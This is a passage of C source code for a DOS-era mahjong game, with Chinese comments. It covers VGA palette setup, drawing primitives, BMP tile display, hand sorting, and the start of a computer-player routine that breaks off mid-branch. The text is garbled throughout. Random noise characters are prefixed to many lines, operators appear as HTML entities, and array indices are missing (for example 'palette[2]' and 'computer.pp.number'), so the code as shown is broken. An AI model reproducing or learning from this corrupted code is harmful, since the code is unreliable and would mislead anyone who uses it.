"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
0 T# ]4 I; ^. e' d1 Z8 C% e"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
6 p2 P$ A3 n- h( |- \! j  C! R2 j"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
. _2 c/ Q8 |5 ?/ h"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
  q/ ]* A! l- u% E9 G! H"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
, [& d; ]- ?- M( ]/ b"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
, E* x; o% u! T4 r"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
5 R: {* {5 {/ u, L1 f& {! L  z"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
! V+ _: ~% U, w. {! w"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
"34.bmp"};
struct every
{ int *k; /*名字*/
/ w' K) [+ U: _int oneorfour; /*同一张牌的第几张*/
# `8 T' p; c/ ]; C! y4 Kint number; /*第几张牌136*/
int p;
) |: {* d0 a4 L# Y; sint g;
5 P' @+ J2 R& S9 `$ `int c;
int d[2];
};
% u+ H. B3 S  ustruct me
{ int m; /*定义有几张牌，开始有13张随着游戏的进行，会越来越小*/
int p; /*乓对方*/
: s# B0 i. _' N4 d" O. \int c; /*吃对方*/
int g; /*杠*/
  C5 P6 w' x5 j7 [. u, _
struct every pp[14]; /*存放手上的牌*/
# I3 n( t( F0 Y' p}me;
struct computer
6 a( A2 c" Y4 a9 Y' O2 ~{ int m;
% i2 t; U8 f) H2 T8 ~8 z" nint p;
- y# a' o5 Y3 h# [; Lint c;
' ]1 D- o* V' ~7 ~, ]7 m0 d! s; w# Sint g;
struct every pp[14];
' Q; f7 M& ~3 g3 Q/ ^}computer,comp;

/* 设置调色板 */
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
{
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
0 Q' n4 Z4 g" a* `$ boutportb(0x3c9,g);
outportb(0x3c9,b);
% T3 m1 _9 N2 p; V}
" }; V2 k( C" k/ y# z# h/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
/* 设置显示模式的函数 */
void Set_Video_Mode(int mode)
4 z7 j+ e( J; \, M& w" s# R  ?8 Z{
union REGS inregs,outregs; /*定义输入和返回寄存器*/
1 |( B2 T5 q3 x+ q+ Linregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
; N/ s# [1 Y' h( O5 T4 minregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
" H: k% `( W$ [$ X, {}
1 {& d/ {9 Y8 ^  l: }  Evoid v_line(int y0,int y1,int x,unsigned int color)
{ unsigned int address,n,temp;
% B% k8 b; f( Q- Z1 I( V4 n  eif(y0&gt;y1)
6 w. q7 o7 l7 ]2 ?5 K% l  z{
temp=y1;
y1=y0;
+ e8 G4 v( i7 v2 G3 l; ~$ \y0=temp;
: I, K# F/ {1 e6 N}
address=320*y0+x;
for(n=0;n&lt;=y1-y0;n++)
  X: b6 G) s1 R( C{
, X- X  c+ [1 N& J* Gvideo_buffer[address]=color;
address+=320;
}
}
; |: |1 Z" y  a7 d, Dvoid h_line(int x0,int x1,int y,unsigned int color)
+ I& O. g/ S$ V! r' I+ l{ unsigned int address,n,temp;
if(x0&gt;x1)
{
0 V% ^2 S6 P9 Otemp=x1;
5 ~$ e5 l5 Z+ k; K6 }x1=x0;
+ C: o1 T* h5 Tx0=temp;
}
address=320*y+x0;
3 s0 b$ B! H' Cfor(n=0;n&lt;=x1-x0;n++)
{
  R; s- a3 K0 [$ z0 @, n% H4 ~video_buffer[address]=color;
address+=1;
}
}
void p_pixel(int x,int y,unsigned int color)
{ video_buffer[y*320+x]=color;
6 H: u! U. c# U; h1 B}
' X9 `5 X# Z9 Q. a- }0 t* b1 O- jvoid s_square(int x,int y,int side,int color)
) K/ Q7 H# ~" n7 {{
. H! g4 H, j9 Y) Ih_line(x,x+side,y,color);
4 g3 i, l# D  jh_line(x,x+side,y+side,color);
v_line(y,y+side,x,color);
( j. T* |: K) G. q# S* z# Nv_line(y,y+side,x+side,color);
}
void r_rectangle(int x1,int y1,int x2,int y2,int color)
; n! v2 F7 S' h) x% q5 j7 b! \{
h_line(x1,x2,y1,color);
( _) j0 A$ U2 y5 A- ih_line(x1,x2,y2,color);
v_line(y1,y2,x1,color);
1 ?, n7 `- `) p9 S: f; yv_line(y1,y2,x2,color);
: v6 a6 c4 V/ b  T  U8 K$ `# X3 d}
void fillRectangle(int x1,int y1,int x2,int y2,int color)
{
/ W( S) y8 l7 D$ S5 Qint i;
2 r' u" V- X$ h  C# }5 Afor(i=y1;i&lt;=y2;i++)
{
h_line(x1,x2,i,color);
}
}
: a/ Q  @" g/ Lvoid showbmp(int l)
8 }0 M( A2 D/ u) v{ FILE *bmp;
int i,x,y;
- y. |2 q; y2 U: x3 U1 k, ]BYTE palette[256][3];
bmp=fopen(me.pp[l].k,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
, g' u# W. c/ D1 G, j! c: z{
palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
+ ]( N2 O" |, i  y! ypalette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
6 }8 Y0 Y1 ~/ {- W& `, a  ^& F; ?: xSet_Palette(i,palette[0],palette[1],palette[2]);
, a7 s4 N! I6 M5 ~}
) w7 m% d9 g) t( d5 g4 Ffor (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
3 Z+ B/ q5 [; {4 R3 N7 h7 J6 kfclose(bmp);
' p5 a" e  i3 a, ]( n}
void showbmpd(int l)
2 l( l: l& u' U# i{ FILE *bmp;
0 M( c% B% ], i! i  E: D0 tint i,x,y;
( _  C$ p8 F* S: I# I4 Q9 C" i% NBYTE palette[256][3];
! d% ~6 }$ o  h6 A' Xbmp=fopen(me.pp[l].k,"rb");
# ]9 H: A+ a5 w- ifseek(bmp,54,SEEK_SET);
0 D5 B1 M5 M" \7 kfor(i=0;i&lt;256;i++)
{
palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
# j5 Q' h+ p& D1 w- x& k) `palette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
1 Z& l& z" D6 N6 B* K% F: t; n}
' y' |' Y6 F) q6 O8 efor (y=0;y&lt;30;y++)
% b: m8 t. `% z  Kfor(x=0;x&lt;20;x++)
4 m) a; N' E7 \- n. Q9 F$ C& ?9 |pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
  ?, O6 q% J. Vfclose(bmp);
}
6 |8 z3 g- C0 d/ g1 f/ _0 Y- Kvoid showybmp(int ll)
{ FILE *bmp;
int i,x,y;
: G8 p/ o3 y5 e$ }6 V: YBYTE palette[256][3];
4 g  {1 J& N, Rbmp=fopen(computer.pp[ll].k,"rb");
/ h2 E. y7 \1 q. s2 S: }& Bfseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
  n1 G' [2 a  p' |{
. }: H0 u0 }. ]; g# Bpalette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
3 C5 r. E/ F, j7 t" W& N  gpalette[0]=fgetc(bmp)&gt;&gt;2;
5 k. ^! C" m" C7 s% Gfgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
5 H! c1 ]9 M1 @1 p8 w}
for (y=0;y&lt;30;y++)
( Z$ g% D& _/ _$ \for(x=0;x&lt;20;x++)
; x( B; v/ v% g! Wpokeb(0xa000,y*320+x+zy,fgetc(bmp));
; Q- v+ X2 R6 s% r% f" _$ Cfclose(bmp);
}
7 K4 S$ x0 j8 n. p7 A; C" p, dvoid showcbmp(int ll)
{ FILE *bmp;
! E" G0 c4 d* G1 j; ]7 z! wint i,x,y;
: i1 D2 N& w7 ^+ c! w7 y- ?. ZBYTE palette[256][3];
bmp=fopen(computer.pp[ll].k,"rb");
fseek(bmp,54,SEEK_SET);
1 E& }% D# P# G, p8 O4 Ufor(i=0;i&lt;256;i++)
{
8 O+ r6 G: [2 F0 upalette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
7 r& }$ r! y8 E' f- \palette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
7 c4 k% P- Y# o" Q8 }3 ^Set_Palette(i,palette[0],palette[1],palette[2]);
}
* ]7 v: Z8 C' Bfor (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
fclose(bmp);
}
void bmpp(int number)
{ FILE *bmp;
int i,x,y;
  ^/ ?6 ]% c6 ^BYTE palette[256][3];
bmp=fopen(m[number].name,"rb");
! ?3 d# R; P& @fseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
6 C$ a4 F! B' K' J/ ^+ a0 k{
palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
palette[0]=fgetc(bmp)&gt;&gt;2;
3 Y2 l% `+ ~; V. {' Kfgetc(bmp);
* Z3 e7 ~! l6 vSet_Palette(i,palette[0],palette[1],palette[2]);
% X& ^8 ?; k2 t$ ^" A0 V5 M& ~7 Z}
! k6 Z1 G: Y- l, l' f: zfor (y=0;y&lt;30;y++)
" J9 {& l. P. A/ D: H2 a6 {for(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+zl,fgetc(bmp));
fclose(bmp);
}
void comlipai() /*整理电脑的牌*/
{ int n,j,u;
5 x' b& L) J5 f) X; m9 r# Mint *lingshi;
for(n=0;n&lt;computer.m;n++)
for(j=n;j&lt;computer.m;j++)
. T! b' m' b0 Y/ G- ]{
if(computer.pp[n].number&gt;computer.pp[j+1].number)
{
+ V" n/ C- B2 P% n1 R- Y7 `7 xlingshi=computer.pp[n].k;
. |1 _9 @+ \. D6 [/ R6 ecomputer.pp[n].k=computer.pp[j+1].k;
: i. O7 H# n! d! q0 h5 Ccomputer.pp[j+1].k=lingshi;
u=computer.pp[n].oneorfour;
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
2 |* b* X$ |) N6 X/ y5 Kcomputer.pp[j+1].oneorfour=u;
/ r1 S9 m5 @- h0 lu=computer.pp[n].number;
computer.pp[n].number=computer.pp[j+1].number;
computer.pp[j+1].number=u;
}
else
% g  d; d. F/ Y+ }/ L" Mif(computer.pp[n].number==computer.pp[j+1].number)
' `* o; G& @5 B0 n# D" P$ F2 ]if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
{
lingshi=computer.pp[n].k;
computer.pp[n].k=computer.pp[j+1].k;
; L: U' s6 u3 j) x1 Q  ycomputer.pp[j+1].k=lingshi;
u=computer.pp[n].oneorfour;
+ H- ?* l! m( j. G2 A* ~0 Rcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
) l$ R/ @7 U# I% e4 rcomputer.pp[j+1].oneorfour=u;
u=computer.pp[n].number;
computer.pp[n].number=computer.pp[j+1].number;
1 a7 z. z. C' Z$ Jcomputer.pp[j+1].number=u;
}
}
}
void melipai()
{ int n,j,u;
int *lingshi;
for(n=0;n&lt;me.m;n++)
: j7 Q6 ^: O( t( Mfor(j=n;j&lt;me.m;j++)
{
if(me.pp[n].number&gt;me.pp[j+1].number)
{
8 l1 e. Z# i) D2 ulingshi=me.pp[n].k;
me.pp[n].k=me.pp[j+1].k;
+ }2 `) d4 a* X( b' p8 c2 lme.pp[j+1].k=lingshi;
u=me.pp[n].oneorfour;
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
me.pp[j+1].oneorfour=u;
& i; N/ Q0 E3 J* ru=me.pp[n].number;
me.pp[n].number=me.pp[j+1].number;
me.pp[j+1].number=u;
$ L& L6 a% I- D( G7 Q% S: U0 O}
! J3 }4 u" e: b8 Pelse
if(me.pp[n].number==me.pp[j+1].number)
; Y3 ?6 T6 d9 d/ j4 b1 K9 Zif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
( M8 |# ?) e; p5 z$ S  s- d1 M( }{
lingshi=me.pp[n].k;
& y) l9 J% W- G/ Vme.pp[n].k=me.pp[j+1].k;
  d3 ~, e  u  ~. y' g. X& hme.pp[j+1].k=lingshi;
# z3 p4 D( S, j4 I9 f  ]/ fu=me.pp[n].oneorfour;
2 r+ j4 W& r& [" {, cme.pp[n].oneorfour=me.pp[j+1].oneorfour;
' h; D8 N& z) @; @me.pp[j+1].oneorfour=u;
u=me.pp[n].number;
7 C2 j0 P4 H4 t4 D/ G* yme.pp[n].number=me.pp[j+1].number;
me.pp[j+1].number=u;
% \: t, @- W. F/ E! [- q}
0 s5 }3 ?% i' ?, V+ S+ p}
6 P# i# ]7 R8 V( @8 ]7 M* ?}
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
+ b* _3 @# e  H{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
4 j$ X6 a" m5 t! J{
5 l/ i1 m" T$ f5 A8 G" l* ~logo=1;
0 ]" g8 ?  ]3 j0 V: \4 J& Wif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
logoo=1;
1 D8 a6 g# c4 Lelse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
logoo=2;
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
logoo=3;
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
" S. g0 @+ h" H" ologoo=4;
% I% @& o$ [: U/ \/ x" oelse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
, }6 G8 H* J+ k, r1 Qlogoo=5;
) B6 `* v* ?' m& j4 jelse if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
- J0 B$ I, i9 B) ]. d0 nlogoo=6;
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
6 Y4 [  C0 h* S* Zlogoo=7;
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
logoo=8;
# \6 D/ t5 b* s& L( X; e9 Jelse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
logoo=9;
1 r( E7 [8 [4 N8 ]9 o- b) n7 u}
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
" y' ]8 \7 |# G+ A7 o( p4 O! m{
8 T4 s% f' q( u9 wlogo=2;
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
logoo=1;
/ ~4 P# e0 q$ s; u7 h% G* Gelse if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
logoo=2;
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
logoo=3;
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
$ r: R% Q. ^3 K" G- ilogoo=4;
% ~0 W$ C% l5 s& S4 u4 {& U6 h0 Relse if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
logoo=5;
( C6 f. l# F1 B& m- y. m4 relse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
logoo=6;
% C3 Q, Z  A% V8 l( `else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
( k7 t# O3 R1 X8 l+ A- b& Wlogoo=7;
0 l4 j5 s' W$ O& U0 N; Yelse if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
logoo=8;
& N6 s( [8 k) ^& Q8 m6 Q8 relse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
/ E7 D2 d& f8 X; {logoo=9;
}
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
+ K  ?# Y: m* c& }* V{
) ~0 b# h9 C" q- rlogo=3;
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
% l$ ]" @+ ^  a: Ologoo=1;
$ L, Q: R3 U8 @( D9 h& Helse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
, S2 k7 m2 E' U& ~* q6 E+ Clogoo=2;
8 y( U# J" |3 zelse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
0 _0 z3 s$ |8 F2 Y) Blogoo=3;
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
logoo=4;
7 t  d& [7 s3 D& \else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
logoo=5;
  Z( N8 S$ g9 H9 O* Lelse if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
& W# t/ O+ X; q; D8 tlogoo=6;
# L; E% B, t9 d- W/ l8 zelse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
logoo=7;
! R$ E% N; E8 u, ~else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
logoo=8;
" d2 u5 o: q6 e6 |, o: Belse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
logoo=9;
6 I8 F+ a& D1 p}
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
{
; L- O: L; K' E4 ?- a7 }logo=4;
. B7 W2 O' V0 k8 k+ \/ ]  yif(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
2 X' m$ B5 R' V+ B( S& {logoo=1;
6 w' g. f' m) B$ P$ }% v! m& Eelse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
logoo=2;
% p& ~( A. W& T& e( P! Belse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
, c3 h$ Q5 _4 s  Z2 Qlogoo=3;
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
logoo=4;
' p. ^' Y' p- a! K/ }) F8 R. relse if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
logoo=5;
7 V" h& `3 c/ D/ Nelse if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
( y3 N3 Y9 g) U" R9 Clogoo=6;
9 r$ p; W# \, O% V1 ^1 E; selse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
) _+ D$ S8 L4 Wlogoo=7;
7 [4 l0 E' Y% i' [+ j! c}
while(b&lt;=computer.m)
{
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
{
lg=1;
computer.pp.d[0]=1;
1 M% j9 w7 z& S" c& ^( y. Tif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
{
lgg=1;
computer.pp.d[1]=1;
}
9 x% P- a" V6 u, P& F0 F' felse if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
{
/ l3 e. f* J0 r0 wlgg=2;
computer.pp.d[1]=2;
  e- ?3 e5 Y) q- ^1 m6 Z}
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
{
6 B* H5 v1 T' s- a+ _$ nlgg=3;
+ h& a# T8 N+ _: K' Ycomputer.pp.d[1]=3;
}
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
{
; z' z* g: p/ g3 ~" R% dlgg=4;
computer.pp.d[1]=4;
0 g- v( `% L" t5 W$ W/ Q}
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
$ g4 x: a$ y4 X3 k- n7 C{
0 w0 q, r% c& n( Y. z* ^lgg=5;
7 L9 S- ~" R- E1 N- W5 U1 bcomputer.pp.d[1]=5;
}
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
{
( \# _/ |3 P8 A3 t9 n+ h: jlgg=6;
1 @& l& i  @# ?- Wcomputer.pp.d[1]=6;
}
8 P# }! T) [/ b+ b6 }: `else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
{
; x8 U8 a1 ?3 D. \' z& x7 r* n( jlgg=7;
computer.pp.d[1]=7;
}
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
2 Z3 Y  O' Z' G) ?; T6 \9 v3 O4 p{
lgg=8;
- l  X+ c: U* icomputer.pp.d[1]=8;
}
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
{
. f+ @5 d3 }. {) v# elgg=9;
computer.pp.d[1]=9;
}
}
) J$ K/ T2 e, G& U8 v9 felse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
$ V( a/ \# }: h5 s: F{
lg=2;
) }8 \+ {0 z8 D/ `  B$ H' pcomputer.pp.d[0]=2;
5 H# |: L+ Q5 o2 ]' Hif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
{
lgg=1;
computer.pp.d[1]=1;
( ~2 z! ]+ H0 H+ m}
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
8 A* _0 ]1 e/ D/ K/ f{
5 ]  E' i8 i4 q$ Ilgg=2;
% g% R: ~. q3 W: s( i  ?, Tcomputer.pp.d[1]=2;
7 r& k& ?$ F2 c0 Y}
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
{
' e$ m/ P1 q4 p/ Ylgg=3;
3 O, ^! s* u# d: q: y. Y0 _computer.pp.d[1]=3;
}
' ]1 n1 P* @* I, [5 K) belse if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
: o- y- Q8 P7 S{
7 F1 k: k  Q" Y. Glgg=4;
) b. |) v6 `+ tcomputer.pp.d[1]=4;
}
$ H0 t& y4 ]' ~: B* i: R- t" L" Pelse if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
+ q/ ^3 l% J; t{
lgg=5;
computer.pp.d[1]=5;
) x+ t' ?; _- Z" j2 O}
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
* U! m" E/ E8 i; I{
lgg=6;
( b( Y6 [$ Y2 |: pcomputer.pp.d[1]=6;
- A1 z7 P1 R! E# k* N; Q}
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
{
4 b, _. J1 Z/ W" D- p# f: [lgg=7;
computer.pp.d[1]=7;
; f4 g: a; }. }) {& t; R6 F+ b}
5 h9 @3 H4 K7 O5 S) t0 F$ H4 \5 Lelse if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
0 \8 v) ~, |1 M5 S8 g  I0 j+ ?{
lgg=8;
( }) d4 f5 A7 ?- }' Kcomputer.pp.d[1]=8;
9 ]  C0 @/ H5 t( j( _) t}
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
' H$ k1 I' E" [{
lgg=9;
3 u; a5 L- R. @% Acomputer.pp.d[1]=9;
}
}
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
{
lg=3;
! T& n* d, b2 }" k8 xcomputer.pp.d[0]=3;
: ~! q# Q) }) Qif(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
/ X* a9 X- P# h5 _{
) f! T7 X* L" H; \5 Q* L1 c: ]) D3 flgg=1;
computer.pp.d[1]=1;
}
5 _0 X) C; }, ~else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
{
, I$ A9 v4 ~0 B2 P$ Vlgg=2;
computer.pp.d[1]=2;
}
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
6 O* W. |! _- l9 d% n5 U6 K{
lgg=3;
* q4 O, G) }" u( r% ^computer.pp.d[1]=3;
' f9 K# Z0 |4 |+ \8 v}
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
/ ]' k( c8 \. P{
& |. `+ W5 \8 ?% V2 Clgg=4;
computer.pp.d[1]=4;
7 c* w% Z% f- H& U}
" D- m3 l) v9 S) n. zelse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
- N1 E3 K3 y0 `7 Q3 n2 s) |{
lgg=5;
0 T% I% j9 h5 d/ O/ o' x3 Vcomputer.pp.d[1]=5;
}
( }" R' r7 q8 L8 k0 F, I8 W* _4 Aelse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
3 k" A3 f" S7 l! @! }; J4 Y. |! y4 a{
) {2 m8 N$ X6 hlgg=6;
computer.pp.d[1]=6;
}
1 J' F' h8 c3 Q  l( T, a/ j& c/ ^else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
{
0 `; ~- U8 h" _) ^lgg=7;
computer.pp.d[1]=7;
}
else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
& @% W' j& g4 ?: C. i{
$ V. v1 P, C# t5 ]* ilgg=8;
computer.pp.d[1]=8;
: d3 N. _8 a; Z7 C  H: M1 _}
2 K. l5 l. ]  d% C: s4 a$ `0 Eelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
{
9 R0 @9 S9 R) D6 l* }) p1 T* k- ~lgg=9;
computer.pp.d[1]=9;
}
+ W8 A$ R4 W& x9 e! p' `}
4 x9 j2 ^; U9 }else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
0 Y+ N3 w  {& ~/ H1 G5 @{
* f" c# w; P9 y* Z4 r0 h6 Nlg=4;
/ _& C; |  y/ _0 p/ p* @computer.pp.d[0]=4;
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
6 j0 H0 l6 I" W" E{
3 I" a) ?* O1 e; l, k6 Olgg=1;
computer.pp.d[1]=1;
* F" p$ X6 p& u9 P/ k5 ^# V}
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
{
6 d, n, D5 A) o6 f7 {" s% z+ nlgg=2;
# O5 p+ Z" P& k; F' X4 ?computer.pp.d[1]=2;
  L# I$ R. k& r$ n}
! f! Y3 ]$ B% w) Xelse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
4 R: F. w3 ^% T( m/ q* k{
lgg=3;
computer.pp.d[1]=3;
: y4 q# {1 l" }0 }, k  y}
' f3 J, g& L% l5 ^6 b: Zelse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
( d1 u0 L, D; s9 e8 J{
. H/ X: ]9 y0 {0 Z. r/ w4 nlgg=4;
  V% X* f2 y6 }: {' kcomputer.pp.d[1]=4;
$ S5 |) J! n" J. ~. N# W. v7 }- K}
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
{
lgg=5;
5 j. C$ A' H7 p8 S' f9 x% g6 Lcomputer.pp.d[1]=5;
8 a( e3 O2 f$ N6 d$ H3 }. {}
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
{
lgg=6;
